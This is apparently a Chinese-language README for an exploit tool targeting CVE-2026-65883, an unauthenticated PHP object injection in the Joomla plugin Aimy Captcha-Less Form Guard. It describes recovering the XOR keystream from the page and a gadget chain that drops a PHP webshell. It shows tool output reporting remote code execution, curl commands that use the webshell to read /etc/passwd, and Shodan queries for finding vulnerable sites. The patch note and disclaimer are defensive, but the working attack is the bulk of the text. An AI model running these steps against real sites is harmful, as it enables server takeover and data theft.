Joomla 的 Aimy Captcha-Less Form Guard 中存在未认证的 PHP 对象注入漏洞。onCheckAnswer() 方法将攻击者控制的 clfgd POST 字段进行 base64 解码,经重复密钥 XOR 处理后,将结果直接传给 unserialize()——没有 HMAC、没有 allowed_classes 限制、也没有完整性校验。
| 状态 | 版本 |
|---|---|
| 存在漏洞 | 18.0 — 20.0 |
| 已修复 | 20.1(2026年7月29日) |
plg_captcha_aimycaptchalessformguard 中的 onCheckAnswer() 方法将攻击者控制的输入直接传递给 unserialize():
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
这种 XOR“加密”是一种使用每会话密钥的维吉尼亚密码——没有认证,仅仅是混淆。
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
该插件在同一 HTML 响应中同时输出密文和明文:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
由于 trap_ids(可从 <span id="..._mark"> 和蜜罐输入中提取)与密文都位于 HTML 中,将它们进行 XOR 运算即可恢复 231 字节密钥流中的约 94 字节。
clfgd 密文 + trap_ids + 时间信息 → 恢复 94 字节密钥流FormattedtextLogger 序列化对象,使结构字节落在已知的密钥流位置上clfgd → unserialize() → __destruct() → formatLine() → 写入 PHP webshell/random.php?c=id → 以 www-data 身份实现 RCE$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
json_decode() 无法实例化 PHP 对象——POP gadget 链被彻底切断。
本工具仅用于教育和授权安全测试。请仅对您拥有或已获得明确测试许可的系统使用。
与 Aimy Extensions 或 VulnCheck 无任何关联。
| 字段 | 详情 |
|---|
| CVE | CVE-2026-65883 |
| 产品 | Aimy Captcha-Less Form Guard(Joomla 插件) |
| CVSS 4.0 | 10.0(严重) |
| 类型 | CWE-502 — 不可信数据反序列化 |
| 受影响范围 | 18.0 — 20.0 |
| 修复版本 | 20.1(2026年7月29日) |
| 发现 | Valentin Lobstein(Chocapikk)/ VulnCheck — 2026年7月26日 |
| 资源 | 链接 |
|---|